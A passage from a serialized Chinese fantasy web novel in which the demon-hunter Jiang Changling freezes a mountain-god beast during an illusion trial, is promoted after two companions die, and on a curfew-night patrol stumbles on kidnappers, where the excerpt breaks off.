待雾气完全散去,姜长泠才把那御风符给停了下来。
风停下来后,所有人才得以完全睁开眼看清楚这林子的面貌。
但阮诗情并无心看,只是赶紧整理下自己被风吹乱的头发和衣裳,语气中满是责怪:“姜同门,你想显摆自己的功底我能理解,可这里也就我们几个你这是想给谁看呐?”
旁边的同门扯了下她的衣袖,她即刻皱眉斥道:“干什么?”
“诗情姐...你快点看前面那是什么东西?”同门都快哭出来了。
前方的路原本是树林,却变成了一座高山峭壁。
而在这峭壁下竟站着只矮了这山一头的半人的妖兽。
这妖兽上半身光着膀子,与人长得无二异,就是没有头发,光秃秃的脑袋之上还长着两个兽角。
而下半身穿着的兽皮裙下却有着四条匀称的腿,却不是半马鹿之身。
最令人恐惧的还是这妖兽手上还拎着一把巨斧。
“这...这是什么?!”阮诗情看见前面的巨妖差点没站稳。
姜长泠走上前端详了一下:“这貌似是书上描述的山神模样,不过在这里它具体是神是妖那便无从得知了。”
阮诗情连连后退数步抽出传音符:“不行...我要马上把这件事告诉黎大师兄去。”
“诗情姐走慢点,我要跟你一块!”
一时,五个人就只剩下许堂和姜长泠并肩站在原地。
“姜师姐,你不害怕吗?”许堂忍不住问道。
姜长泠盯着这只诡异的半妖琢磨了下:“当然怕,只不过有些事情如若是冲你来的,你想逃也是逃不掉的。”
毕竟自她踏入这捕妖林时便察觉有不对劲的地方。
这种不安的感觉就像是她进了钱恒亮的万善堂一样。
不过未经世事的许堂并不懂姜长泠这话里的含义,只道:“这山神应当还未启灵,我们暂时应当不会有危险。”
“但愿...”姜长泠话说了一半,那山神原本比闭上的眼睛突然睁了开来,绿色的竖瞳正在眼眶中左右滑动两下,似是刚刚复苏正观察着四周。
“救命啊!这妖兽醒了啊!”阮诗情崩溃的声音从身后的远处传来。
这一喊,山神的眼瞳便蓦然转变为赤瞳,盯着阮诗情冲天怒吼长啸。
场面变得更为紧张。
“许师弟,这算是启灵了吗?”姜长泠皱眉问道。
“应当是算的,但按照常理下启灵需要妖感受到捉妖师的灵息才会与之结下契约,以此进行一对一的对决,可这山神并无隐身的迹象,太奇怪了。”许堂面对这庞然大物还算是冷静。
50. 爆发
地面为之一震,那山神竟是开始缓缓迈开脚步来。
姜长泠和许堂只好向后撤去。
这山神身躯着实太高大,紧急之下姜长泠也只想到一个阵法可解。
但这阵法仅凭她自己是不可能布下的。
“师弟可曾了解过锁妖阵?”姜长泠问道。
“昨晚好像在书上看过一眼,但这法阵应该是需要四个人才能完全启用吧?”许堂开始有些害怕,声音都发着颤。
“我可以试着借灵顶四人的位置,或许能撑到黎大师兄他们来支援。”
“这...这能借谁的灵?”
这么说着时,地面忽然剧烈颤动了下,他们头顶上便略过一片阴影。
他们甚至不用抬头便看见山神的四条腿竟然从他们头上跃了过去,还高举着手中的斧头往阮诗情的方向飞去。
“救命啊!”阮诗情手里的传音符烧了又烧,却怎么也不见回音,眼看着那山神举着巨斧就像向她劈来,她摸遍了全身也没找到瞬移符,而本是一起跑的两个同门也都识相地往左右跑去。
“喂!你们两个!!”阮诗情欲哭无泪,惊惧达到巅峰。
在临死前她才知道大难临头各自飞是什么感觉。
来不及了,山神居空的斧子就要落下,阮诗情握紧拳头刹住脚步转向山神嘴里念念有词:“算了,来就来,我又不是躲不过。”
没有预料的是,山神在降下铁斧时的速度奇快,阮诗情压根没有反应的空隙,直到她后颈的衣领被大力拽走,眼睁睁地看着斧头那锋芒寒光近在她面前时,她都没有回过神来。
地上瞬间沿斧龟裂一处,气压扬尘而起!
这时,山神竟然咧嘴笑了一声:“蝼蚁。”
古老的声音似能覆盖整片丛林。
斧头混杂着泥沙很快又被拔起,继续挥向阮诗情,可阮诗情已经被吓瘫了,四肢软得没有一丝力气,脸上也只剩麻木。
姜长泠只好继续拎着她的领子向一旁撤去:“阮诗情!振作起来!”
这一次的铁斧如有千钧般重,嵌入土里时直直将土地前前后后都翻开了一条土壤道!
“哈哈,很少有人能接下我第三斧。”山神阴恻恻笑起来,说话间抑扬顿挫的,还颇富有情感。
阮诗情依旧是半死不活地躺在地上。
见此状况,姜长泠脑海中浮现的第一个求助的人是萧烬,但这次她这是在定魂铃的幻境之中,他又怎会知她现在所处的困境?
她只好忍痛在手臂上划上一条血痕。
山神继续拔动铁斧,这一次斧上混附着雷息,闪烁跳跃的电光隐隐可见。
“这一斧,名为山崩,你可接好了。”
“姜师姐快跑!这里传音符根本用不了,这里下去你们都会死的!”许堂在不远处大喊。
咣——
刹那间尘土卷漫天,像是龙王出水狂啸溅起的水雾喷涌,骇人的雷鸣光柱也跟着从天上奔腾闪来,落在斧上,一道白光便猛冲向姜长泠,这威力似要将她劈个粉碎!
满天黄尘,炸耳雷响,这威压瞬间逼退许堂数步,不由得抬起手臂掩面。
而他内心此刻只有一个想法:完了。
置身于雷光之下的姜长泠还没死,正咬着牙拼劲全力开盾抵挡。
她并不是想替阮诗情挨下这斧,而是这斧落下得太快了,根本没给她反应的余地。
全身的灵力都被调动支配汇于她手中,眼前白茫茫一片什么也看不清,只剩下意志在坚持。
肺腑被震动的痛感不断在蔓延,脉络中像是中毒了一样痒痛难耐。
这会,阮诗请才幡然醒来,左顾右盼后发现周围的树丛都被四溅的雷光烧得焦黑,不曾想躲在姜长泠身后才是最安全的地方。
“哈哈哈。”山神又笑了几声,渗人得很。
“姜长泠你一定要给我撑住了!我还不想死!”阮诗情惊慌开口。
那铁斧又再近了半分,正当姜长泠觉得承受不住之际,源源不断的灵力忽然被灌注入她体内。
这感觉她很熟悉,是萧烬。
灵力来不缓不慢足够她撑过这一击。
“姜长泠,你又惹什么事了?”一张传音符忽然落在她身旁。
萧烬的声音不大,但好在她听得见。
但现在的情况并不容得她回音。
“你!你…收到传音符了!?”阮诗情看着这幕心里不甘又害怕。
但姜长泠没心思搭理她,正全神贯注地等待身体中的灵流更盛,好破开山神的这一击。
差不多时,她汇聚出全身灵力集于手掌击出。
烟尘散尽,躲在远处空地上的许堂才刚烧完传音符将此事告知黎追,另一头便看见姜长泠凭借一己之力迸发出惊人的湛蓝灵流直撞向铁斧!
一瞬间,两者的灵力擦摩爆发出强劲的威压,层层风波将树也吹压!山神手中的铁斧便没稳住,四条腿都向后退了几退,可谓是地动山摇!
不巧的是,威压还没全然散去,位于许堂面前的上空便出现了一圈传送阵,一抹男子的身影便从法阵跳了下来,另一名男子紧随其后。
两人刚过来就吃着了威压的尾巴,纷纷扬起袖子抵挡。
与此同时,姜长泠精疲力竭地跪倒在地,因灵力过度消耗而受到的反噬一涌而上,鲜血吐了满地。
“黎大师兄!你终于来了!”躲在姜长泠身后的阮诗情劫后余生地喘了口气,跌坐地上泪眼汪汪地看向黎追。
黎追先是注意到那庞然大物,视线才转向阮诗情——前面的姜长泠。
“黎大师兄,不知为何方才那传音符如何传都没用,我也是刚才看到...”许堂刚准备把事情的来龙去脉说一遍,转头时却发现黎追已经瞬移到了姜长泠身边。
他愣了愣又只好转头跟另一个大师兄说:“谢大师兄,你知道这是怎么回事吗?”
名为谢大师兄的人抬头看向这山神摇摇头:“高阶妖林也从未出现过这种半妖。”
“姜师妹,你怎么样了?”黎追急忙蹲下身看向她。
姜长泠一时有些头晕,却还是感知到身边的来人是黎追,她撑起头晃了晃:“没事...”
浑身的
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疼痛深入骨髓,像是无数只火蚁往里钻了一般,差点让她失去所有力气,可另一头的灵流更盛,直直压制那反噬的疼痛一头。
“谢铮!你先过来帮她疗伤!”黎追大喊一声。
“我还真是小看你了。”山神的声音在整片森林中空荡荡的回响着,“那么下一斧,便名为地裂!”
谢铮应声闪来时,便听到阮诗情尖声提醒:“那斧头又要劈下来了!”
是了,山丛林间霎时狂风呼啸,天上乌云蔽日,本想着这一斧应会伴着淋漓大雨,可不料,那山神的斧头上竟是带着烧成金色的燎茫火焰挥了过来!
赤金的火光映照下来,依旧是没给他们反应的余地。
黎追和谢铮两人只好咬牙开盾先抵在前面扛着,从火光中跳跃而出的小火苗四处溅射,足以体现两者碰撞之猛烈。
“怎么捕妖林中还有这等妖兽!”黎追咬牙道。
“黎追咱今日不会就殒命于此了吧?”谢铮都要被烈火熏得睁不开眼。
“别说这些丧气话。”
姜长泠感知到身体恢复得差不多,抬头便看见滔天火海笼罩屏障,整个人像在炙烤之中。
她漠然抹掉嘴边的血缓缓站起身来。
“姜长泠你…”阮诗情还处于震惊之中。
姜长泠眸中忽闪过一抹蓝光,抬手便向屏障施展灵力。
“姜师妹?”黎追眯着眼回过头来。
“失礼了。”
下一瞬,破出火海浩荡的蓝白灵流瞬间淹没了这句话。
威压势不可挡,直教黎追和谢铮往两边退开用盾护住自身!
就像是堆积了千年的雪山因蝴蝶的一次振翅引发了雪崩,不仅猛周遭还冷。
山神的斧头自是不如她灵力冲击之强,炎炎火焰直直被那被纯寒灵流冻吞噬成冰块,而后的白霜还沿着斧柄不断蔓延扩散至山神手臂。
整片天空阴郁暗沉,刮来的风也携带阵阵寒凉。
天地间仿佛迎来凛冬,还飘来细细雪花,山神彻底被冻住了。
整个场面荒诞诡异至极。
姜长泠蹙着眉,手上的灵力终于收了回来,指尖还残存了些霜雪。
“姜师妹你…”黎追和谢铮也接连放下手,通通哑口无言地看着她。
咽喉忽涌起一阵瘙痒,姜长泠作势要吐,但那感觉又转瞬即逝。
在众人目光下,姜长泠捻去指尖的霜雪,松开眉头淡笑道:“多谢二位师兄关心,我没事。”
她当然不是像有事人的样子,有事的是山神。
“你们是如何来到此处的?”惊讶过后,黎追的思绪还是飘了回来,“据我所知,这妖兽应当是镇守在此处的山神,而此环境应当是用于妖都一处晋升于傅妖师的密林。”
“什么?莫非这就是他们传言中的四斧阎王?”谢铮突然来了兴致。
毕竟当捉妖师这一行的,多多少少也会对同行有些了解,且妖都办事处每两年都会在一处逢珑城开办宴会,邀请各方捉妖师前来研讨交流,其名曰“散妖宴”。
黎追和谢铮就这么巧去过。
51. 焦尸
当时他们也才知道原来妖都一处除了高阶捉妖师之上还有职称名为傅妖师。
他们有幸在逢珑城见过一名傅妖师,那气质果真非凡,与他交谈间才得知傅妖师的考核与他们稍稍不同。
密林中出现的各种状况也都为考核的内容。
在这著名的“四斧阎王”也就是山神的考核密林中,只有第三斧落下的时候才能有退缩的机会。
这也是为什么名为“天崩”那一斧落下的时候传音符才能传得出去,他们也为什么只在这个节点才能进来。
黎追和谢铮豁然开朗,但对于姜长泠所迸发出的惊人灵力依旧感到迷惑。
“且先不论你们是如何到这的。”黎追看向姜长泠,“姜师妹,你是如何挺过这四斧冻住山神的?”
姜长泠有些难堪,只好又胡说道:“我曾在书上学到有一招名为请神借灵,恰好在情急之下想起来便试了下,这不…请到了雪山一脉的神来了。”
“而且这请神借灵极其消耗精气,所以我才会受到反噬从而吐血。”
周遭的细雪纷飞,她刚说完,那被冻住的山神身体突然四分五裂开来,天空也以肉眼可见的速度从灰蒙蒙一片骤然降为黑暗。
地面一震,所有的景象竟都在顷刻间扭曲崩塌!
“这难道还没完?!”阮诗情刚从地上直起身子爬起来,脚步正虚浮着。
坍塌碎裂的声音洪如钟声,几乎是一眨眼的功夫所有人抬手开盾抵挡。
坠冰落下将要砸上众人的屏障时却倏然停住,一切又忽然寂静无声,所有人都屏息凝神地看着这奇观。
直到浓墨无边的夜际从中间撕开一条缝隙,破晓般的晨光争先恐后的泄进,黑夜的布帘也向两边褪去,裹着密林逐渐往姜长泠的手中收束而去。
狂风肆起,就在这片刻,这片幻境的密林便化为了一只金色的锦囊落入姜长泠手中,天色彻底明亮,周围也变回了树丛的原貌。
黎追放下手,见这金色的锦囊不免有些惊讶:“姜师妹,你这算是晋升为缚妖师了啊!”
谢铮倒是有些不服:“你这一请神,倒是把自己请成神了,职位可比我们都高了啊。”
体内不断传输给她的灵力总算是停了下来,姜长泠也越发心虚:“不敢当不敢当,我还力不所及这缚妖师的位置,方才也只是因为不想死强撑着身子才坚持下来的。”
“等等,小蝶和小夜去哪了?”阮诗情顾全自身的时候才发现大难临头往两边飞的大雁不见了。
虽说这两人自私的心思已经被她看透,但毕竟这幻境也已经瓦解,这两人总不能就这样躲着她一辈子吧?
许堂其实站在远处时就发现了这个问题,就在山神的斧头在与姜长泠对峙之时,他便用目光在树丛间找过小蝶和小夜的身影,结果并不理想,没有找到,只是在两边稀零的丛间各看到一具黑黢黢疑似干尸的东西。
“她们,可能已经被天崩的余雷劈焦了...”许堂犹豫着说。
“天崩?”黎追皱眉问道。
“就是山神的其中一斧。”
阮诗情眉头一跳,不知为何有些心有余悸,本还觉得这两人命好,谁知逃开了还更危险。
她情绪复杂地看了姜长泠一眼。
谢铮率先叹了口气:“这么多年了,我还是头一次见到在这捕妖林里出人命的,也不知该如何向主办大人阐述此事。”
氛围忽地低迷起来。
“事已至此,只好先将剩下在捕妖林中的师弟师妹们保护好了。”黎追道。
“你们的要紧事务处理完了吗,可否顺利?”一张传音符降在众人的面前。
是云寐的声音。
“处理完了,但具体的经过还是要等大家回到清阙堂再说。”黎追也传了张传音符回应。
在场的人也没有再前往捕妖林的心情,通通回到了捕妖林前的那片空地。
“姜同门,没想到你这般深藏不露啊,还以为从青竹城来的捉妖师都弱得不堪一击呢。”阮诗情说这话的时候不由地带着些讨好的意味。
姜长泠不想领情,只道:“阮同门过奖了,这次击倒山神不过是侥幸,以我的能力和实力还配不上缚妖师的名号。”
“行行行,你清高。”阮诗情撇过头翻了个白眼。
其实回想起方才冻结山神的局面,姜长泠也没想到自己会承受得住这滔天的灵力并且还能熟稔地运用。
她当时不过是秉持活下去的想法,也不知是怎么迸发出的冰冻之力。
不知在原地坐了多久,同门都捧着白白绿绿的锦囊陆陆续续地回到了空地处。
待黎追他们也回到来后,吵囔的人群便安静了下来。
“人都到齐了吧?”黎追大致地扫了扫高低不齐的人群。
大家伙面面相觑相继点点头。
“你们那些站着的别逞强啊!等会回到去吐了。”谢铮扬起下巴嘲笑。
“那不能吐!来的时候是坐着的,那回去必须站着!对吧弟兄们!”人群中一个师弟起哄道。
“那当然!”
有些坐着的也跟他较上劲了站了起来:“嘶,兄弟你这话说的我可要站起来了啊!”
谢铮见这场面笑了笑,而黎追手持着定魂铃,嘴角似笑非笑的,脸上有股淡淡的愁容。
“那你们可要做好准备了。”云寐也笑着附和,“我看待会谁醒得最慢的请吃饭。”
“那铁定不能是我啊!”
那站起来的同门龇个大牙还在笑的时候,一圈空荡的铃声便萦绕在众人耳边。
这次的姜长泠依旧是正襟危坐地闭上眼睛。
铃声再近些时便感觉全身被压力所挟迫后骤然一松。
压力彻底消散她便睁开了眼睛。
扭曲的清阙堂在她眼前旋转了片刻,随后一切都复为原位。
“总算醒了。”
熟悉的男声在她身旁响起。
等等,萧烬...还在她身边?
她本就寻了一处无人之地坐下,这会群览过同门歪七扭八的身影,转头便看见萧烬半蹲着在她
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身旁,手里还拿着一张染着干涸的血的帕子,皱起的眉头似是很嫌弃无奈。
“多...多谢。”姜长泠愣愣地看着那块帕子,不用猜也知那是自己吐出来的血。
“长泠,你刚刚干嘛了,怎么突然猛吐血?不仅如此,你的两个同门还突然烧焦了,跟被雷劈了一样。”另一旁的解宿也在守着她。
“此事...说来话长还很蹊跷,待我回到去再与你们细说。”姜长泠神色有些凝重时,忽然瞥见了就在离她不远处的地面上正放着一个金色的小锦囊。
她没想到这小锦囊居然也能从捕妖林之中带出来。
这会,站在最前面为首的黎追他们也逐渐醒了过来。
“那等你回雀云院了再说。”萧烬默默落下这么一句话便从她身旁消失了。
解宿的目光便这么跟随着萧烬离开,随即扭过头来跟姜长泠道:“我看这个从魔界来的公子人品好像还不错,你一受伤他便赶过来了,后来也一直在渡灵力帮你疗伤。”
“不过...我很好奇他是怎么知道你有危险的?”
姜长泠怔了怔,摇摇头假装不知,编造道:“...或许是某种心灵感应?”
嗯,手臂上赫然出现一条血痕怎么不算感应呢?
“我说什么来着,我就说我能站着回来!”泱泱一片坐着的捉妖师中果然站了一个起来,这人嗓门大,直接把周边的同门给吼醒了。
而黎追和谢铮已经走到了阮诗情身旁用乾坤袋将那两副焦尸收入囊中。
因为只有他们仨和姜长泠醒得早,所以这一举动并没有其他人看见。
云寐看见他们的举动也猜到了发生了变故,只能先配合着他们把这场考核顺利进行下去。
“有谁拿到的锦囊颜色变了的啊?”云寐笑着调侃众人。
不等众人回答,谢铮也搅和了进来:“照我看啊,全是老样子都没变过!”
回应他的便只有一片哀声。
他再笑着低头踹了踹坐在脚边昏昏欲坠的师弟:“喂,就你这小子,刚才不还很得瑟说站着回来么,怎么这下坐的那么舒服?”
“大师兄,我...呕。”
人群中传出一阵嘲笑。
“行了,没变的都散了吧。”谢铮说。
这句话说完,大家伙都纷纷抓着白或绿的锦囊站了起来准备离开清阙堂。而无人在意的角落中,姜长泠手中正紧紧握住一个金色锦囊...
“黎大师兄,那小蝶和小夜怎么办?”阮诗情周围孤零零的,再远了点坐着的便是许堂,她不免抬头看向站着她身旁的黎追。
黎追皱眉道:“节哀,我会将此事先禀报给主办大人,然后再告知她们的家人。”
“我也是第一次见到这种事情发生,虽然很离奇,但也先不要外传此事,等主办大人解释。”黎追对阮诗情说完,又转头看向不远处的许堂,“听到没?”
许堂点点头:“听到了。”
“嗯,听到了就走吧。”黎追对他们挥挥手随后又向姜长泠走去。
52. 宵禁
姜长泠已经站起身准备离开,见黎追前来又顿住了脚步。
“黎大师兄可还有什么要嘱咐的吗?”
“也没什么。”黎追表情似是有些惭愧,“只是觉得这次幸亏有你挺身而出才没有更多人伤亡,我这做大师兄的倒是有些不称职了,抱歉啊。”
姜长泠听后颇有些受宠若惊,随后认真地盯着黎追,话语里却柔和:“若没有二位大师兄在前面抵挡,想必我也活不下山神最后的一斧,这是大家共同努力的结果,缺一环都不可,所以黎大师兄不必妄自菲薄。”
黎追眉头也舒展开来笑了笑:“多谢你安慰了。”
“你没有哪里受伤吧?”
“多谢关心,我没事。”
“那就好,今晚好好休息吧,明日主办大人便会再召开一次朝会解释情况给出答复的。”黎追笑道。
听此姜长泠心下一紧,本还想着对黎追说明日休沐之事的,又只好应下来。
开朝会这种事,就算是在休沐日也要到场,所以没有人会想那天休沐。
除非是意外情况。
无奈,与黎追分别以后,姜长泠走出了妖都办事二处,天色渐晚,恰好是落日西下,近黄昏时候。
“听黎追说的什么明天开会,你今晚还打算行动么?”解宿马上现身挽住她手。
姜长泠垂眸的眼中略过一抹坚定:“嗯,我突然觉得一晚上足以掀翻他们老巢。”
解宿:?
“你们刚才考核了什么?”解宿隐隐感觉是这场考核不简单。
这时,空中忽降落下一张传字符。
姜长泠看了眼接下,转头就向妖都公膳堂的方向走去:“等我吃完饭回去就好好跟你们说。”
解宿也跟着绕了一圈,疑惑问道:“你同门都烧成焦尸了,你不害怕吗?”
姜长泠回想思忖了下,不咸不淡道:“当然怕,但世事无常,总有些事情是意料之外的。”
“除了接受也别无他选了。”
*
夜色渐晚,姜长泠和解宿在路上有一搭没一搭地聊回了雀云院中。
平常六间厢房相继灯火通明,可今日一见便只看见了三间厢房的窗外亮着灯。
有两盏灯分别是小蝶和小夜的。
对此姜长泠也只能是叹惋片刻没再去想。
正要经过拐角走到房门前,她先是看到了角檐下高高地挂起的两个红灯笼,接着又瞧见一个长身玉立的身影站在门前,正用手指去拨弄旁边栽着不知名树植枝头上的雪。
红光映人,他向她瞥来视线。
姜长泠并不意外萧烬会在门口等她,好奇问道:“怎么挂上红灯笼了?”
对此,解宿倒是吓了一跳。
“辟邪。”萧烬垂下手,语气漠然。
解宿下意识以为在说辟她,但看萧烬那脸又似乎没有针对她的意思。
姜长泠走上前去开门,有些好笑道:“辟邪,指的妖都考核?”
“嗯。”
今晚的萧烬倒是变得有些惜字如金起来,姜长泠一时半会还发现不了问题所在。
但在她的印象中,萧烬本就是个温润矜贵的公子模样,看上去不像是会有脾气的,但好像偶尔间,她也还是会见到萧烬冷脸,貌似是因为某件事而生闷气。
她又再细想了下萧烬为数不多的冷脸时候。
在出青竹城去找长孙归璟的剑匣回城的那晚,当时她还不懂为何萧烬一下变了脸色,以至于那天晚上,萧烬隐匿自身为自己疗伤。
还有她刚来淮庆城那天被那狐妖所伤,萧烬的脸色也并不好看。
看来一切归根结底还是因为她受伤所牵涉于他。
也对,一旦受伤便会时刻提醒自身性命存于另一人身上,这滋味就像是胁迫,谁都不好受。
点亮灯后,三人便围着桌子一圈坐了下来。
“说吧,今天发生了什么?”解宿迫不及待问道。
姜长泠整理好思绪,把今天在捕妖林发生的所有事情都说了一遍。
听完整件事的来龙去脉,萧烬都只是一副认真倾听的模样,略有些沉默寡言,解宿则是大大小小抛出了好几个疑问。
“那这捕妖林也要太危险了吧,还能发生这种意外?”
姜长泠看了一眼萧烬,接着说道:“这件事太过巧合,很难不让人起疑,但也让人无从追究。”
解宿歪了歪头问道:“不论谁会做,这种事在你们妖都之中有捉妖师能做到吗?”
“应当没有。”姜长泠缓缓摇头,“这定魂铃中的场景都是设计好的,若是想要篡改,怎么说也要经过创景者之手,可再从这追溯上去可就要到一处了。”
“那看来这场考核也只会是意外了,毕竟你们进密林时还有这么多人,如果要为一碟醋包一笼饺子也不值得。”解宿道。
“但愿如此。”姜长泠道。
姜长泠自是庆幸自己没被劈成焦尸,也庆幸萧烬还能理解她在手臂上随便划得一条伤痕。
气氛沉寂下来,姜长泠察觉到在座某人似是有些闷闷不乐,转手掏出一个精致小巧的金色锦囊捧在手心递到了那人的面前。
“送你了,傅妖师。”
萧烬回过神来看向她,焰光跳跃在她透亮的眸中,像是一泉清潭倒映月光,嘴角还牵起了不大不小的幅度。
明眸善睐,这四个字忽然在他脑海中浮现。
“送锦囊还带头衔?”萧烬问道。
“无论怎么说,这也算是你的功劳,这缚妖师的名号也该属于你的。”姜长泠莞尔。
萧烬见她这副模样,又好奇问道:“你难道就不想成为缚妖师么?”
姜长泠心想要说不想的话那是假的。
如果成为缚妖师的话,不仅是俸禄会有所提高,就连地位也会有显著提升,这基本上是所有捉妖师都会想晋升的一条路。
但随着头衔越高,那肩上承担着的责任也会越重,姜长泠当然清楚自己还够不到那个位置,所以也不会保有侥幸的想法。
她点点头笑道:“当然想,但是以我现在的实力,连高阶捉妖师的门槛都够不着,还谈何缚妖师...”
“诶,长泠,你别这样想,反正现在有人帮你,你尽管大胆去当便是了。”
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解宿对她挑挑眉。
“人命怎可儿戏。”姜长泠苦笑道。
这时,外面传来一阵锣响,打更人喊了一声:“亥时已到!宵禁已到!”
声音听着朦朦胧胧的。
手中的重量骤然一轻,那枚金色锦囊已经被萧烬拿在手里把玩。
“好丑。”
姜长泠:?
“什么?”姜长泠怀疑自己耳朵听错了,仰着头看着萧烬站起身。
“他好像说你的锦囊好丑。”解宿重复了一遍。
那锦囊外表虽是金色的,但整体是按照山神的模样塑造的,看上去无可避免地有些四不像。
姜长泠刚想说要不还我,就看见萧烬已经将那锦囊收入了衣袖之中。
他向门的方向走去,似是偏头低低地笑了一声。
“今天不是说要趁宵禁出去看看吗?”
姜长泠才缓过来听到了萧烬说的话,她木讷点头:“嗯,今晚出去探探。”
“嗯,走了。”萧烬上前开门。
浓厚的夜幕中刮来点点细雪,寂寥的风声徐徐卷过,门就这么吱呀吱呀地晃了几下,那抹高大的身影就这么又在姜长泠眼皮底下消失了。
“这公子心眼倒是不坏,就是有点刀子嘴豆腐心。”解宿也站起身看向门口,“对了,我还不知晓他的名字,他叫什么?”
“他叫萧烬。”
听此名字,解宿不由地思考了起来:“这名字我好像是在哪里听过啊...但我记不清了。”
“你存于世间多年,见识不少,还真有可能认识他。”姜长泠看向她。
解宿嘟着嘴,眉头拧着川字,作势努力想了好久。
“嘶...算了,记不起来,等哪天我记起来再跟你说吧。”
“也好。”
*
入了宵禁的街道果然空无一人,薄薄的雪铺满了地,雪还在不断变大,吹来的风也更加萧瑟。
“你说,我们在这毫无目的地地漫步真有可能会被抓走吗?”解宿已然变成灵体的状态跟随在姜长泠身边。
“不知道,但是我怕遇到的是巡逻的官兵,那就不好了。”姜长泠说着时,手里还提了个灯笼。
这片天有些黑了,月光不够亮,只好提着灯笼照路为佳。
倏然间,不远处拐角的巷子处传来一阵匆忙的脚步声,声音很小,但因为有雪地的加持,让那踩上雪的声音在这安静的夜里更为的突出。
姜长泠不免有些警惕起来,本想着上屋檐藏会,但听这脚步声约莫只有一人,她干脆就站在原地看看这到底能冒出来个什么人。
声音越来越近,那人蓦然冲出黑不见底的巷子,一迎见灯笼的火光那人便吓得摔在了地上又立马调整姿势跪了下来,头颅更是直直地磕到了地上。
“哎哟,官爷放过我吧!”
是一个年迈沧桑的大娘的声音。
姜长泠看向她,连忙放下灯笼上前扶着:“大娘,您先别跪,我不是官爷。”
闻言,大娘才敢抬头,颤颤巍巍道:“小...小姑娘你...怎么如此晚了还停留在外头?”
53. 第 53 章
姜长泠愣了下,脸不红心不跳说:“大娘,我是妖都的捉妖师,来夜巡的,您是遇上什么危险了吗?”
“我...”大娘被姜长泠搀扶着,可依旧跪在雪地里没起来,一直担忧地左顾右盼,“我没事,哎呀这腿不争气...”
于是姜长泠使劲扶了一把大娘,大娘才终于在雪地中站了起来。
“谢谢你啊小姑娘。”大娘的神色有些窘迫,似乎是回想起什么又问道:“慢着...你方才说你是妖都的捉妖师?”
“嗯。”姜长泠应道。
大娘兴奋起来猛地抓起姜长泠的手,眼眶都要蓄上一层泪水,像是抓到了救命稻草:“哎呀,那那你一定认识我家娃,他叫许堂,你晓得他不?”
姜长泠点点头安慰道:“不着急,您慢慢说。”
“哎哟太好了...可是这事我也不知该从哪里说起。”大娘抹了抹眼角,“你可知我家娃现在会在何处?”
这句话的意思,莫非是指许堂不见了?
其实她与许堂拢共就没见过几次面,也不太熟,也就今天考核时有多交涉几句。
万幸的是她和许堂有过灵流互汇,至少还能用传音符联络上对方。
“我与许师弟算不上太熟,他现在身处何处我亦不知。”姜长泠说,“许师弟可是遇上什么事了吗?”
大娘欲言又止,还是凄惨说道:“我是在阮家干的打杂的活,住的也是阮老爷供的屋子,今天我上集市去买菜,回到来就发现一些官爷围在了门口,我本来还想着进去,但是我又看到阮老爷一家都被官兵抓了起来我就怕了不敢进...”
“后来...”大娘掩面抽泣,“后来我才听说阮家好像是因为偷税一事才被捕的,但是阮家上上下下的佣人也都受了牵连被官爷抓了,我怕...我怕堂子他不知情回到去也被抓了。”
解宿率先皱眉问道:“什么情况,怎么把佣人也拉去问罪了。”
姜长泠想了想说:“此事应当是在勘察阶段,所以官府才会把佣人也抓走,再不济也只会牵连阮家的血亲,不会随便滥抓无辜的,放心吧。”
“...姑娘...你说的保真吗?”大娘迟疑问道。
对此姜长泠也不敢担保只好说:“应当错不了,等明日我再帮您找找许师弟,找到了的话我带他来找您。”
“那真的多谢...多谢你啊小姑娘。”大娘感激着随后又落寞下来,“只是...只是也不知明天你该到何处寻我好。”
一个寄人篱下的老妇人被迫出走,出来的时候无依无靠甚至连行囊都没有收拾,又恰好碰上宵禁。
上天都在逼迫她睡大街。
可这是冬季,外头下着雪,就算躲过官兵抓捕在街上睡上一晚也极有可能会被霜雪冻毙。
姜长泠沉思了会,随后道:“大娘,您要是不介意的话倒是可以去我那居所住一晚。”
她微微弯唇:“反正我今天晚上也要夜巡。”
“真的太感谢你了…我坐一晚就行,别脏了你的地方。”大娘惭愧道。
“不客气大娘,我让我朋友送你过去。”姜长泠道。
“诶诶,好,谢谢你们。”
解宿才反应过来,姜长泠口中说的朋友貌似指的是她?
这么猜想的时候姜长泠便朝她抛来视线。
“你的意思是让我带她回去?你一个人行动能行吗?”解宿有些迷惑。
姜长泠轻轻点头。
于是解宿默默飘至大娘身后数步距离,化成实体佯装刚走过来。
姜长泠也配合着提起地上的灯笼递给大娘:“她来了。”
大娘接过灯笼:“谢谢你啊,谢谢你们。”
“你带这位大娘回一趟雀云院吧。”姜长泠对刚走上前来的解宿说道。
这会大娘肩膀猛地一颤,略带惊恐地看向旁边的来人。
她没想到这朋友来的时候脚步声都没听见。
“没问题,大娘跟我来吧。”解宿妥妥一名少女模样,直接拉起大娘的手便往回走去。
灯笼随着摇晃不定,大娘被这场面诡异地说不出一句话来。
她甚至开始胡思乱想自己是不是碰上了地府捞人。
姜长泠眼看着灯笼的火光越来越远,才回过头来。
周边瞬间置身于黑暗中,她不得不点一张燃烧符照明这一隅地方继续向前走去。
没有解宿在旁边陪伴她忽然都有些不习惯了。
是一种很奇怪的感觉。
像是热闹过后又归于孤寂,心里空落落的。
可她明明是个不喜欢热闹的人。
风雪渐渐,似是要拂灭她手里的一纸灯火。
走了有一段路,姜长泠亦没发现哪里有异常,这路上她甚至连个巡逻的官兵都没看见。
也不知是她运气好还是没被那群黑衣人盯上。
无奈,她又只好走远绕了好几圈。
正当她一无所获正准备返回的时候,她蓦然听见窸窸窣窣的声音从深巷传来。
她拍掉肩头的雪顿时提起了精神,手上的燃烧符也甩灭,随后悄然地走到巷子的入口处向里面望去。
里面很黑,但能看见有一人拢了簇小火苗,映出共有两个穿着夜行衣的人。
而另一人的脚边放了个大麻袋。
姜长泠初步断定这两人是敛财的,可没想到那拢着小火苗的人问:“你到底会不会弄那个什么传送阵啊。”
还懂阵法,这两个还是混道上的。
“别吵吵!这种东西这么复杂,你倒是让我再试几遍啊。”另一人急地抬脚就踹向麻袋。
麻袋沉甸甸的,恍然露出一对绣花鞋尖。
姜长泠有些诧异,莫非她此次前来这么快便找到她们想找的人了?
要是这会解宿在或许还能给她参谋。
她在暗处酝酿了会,用尽了毕生最精湛的演技,平地摔在了地上,刚好露出半截身躯在巷口。
她趴在雪地上,半张脸都埋没在黑暗中。
那两个黑衣人果然警惕地同时转头看向她。
“什么鬼动静?”
“好像是有个女的倒在地上了。”
脚步声层层递进。
姜长泠闭着眼睛,察觉到有人将她下巴抬起,有火光照在她脸庞。
“这小妮子长得不赖啊。”
“你什么意思啊你?”
“把
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她换了,要这个,楼主肯定喜欢。”
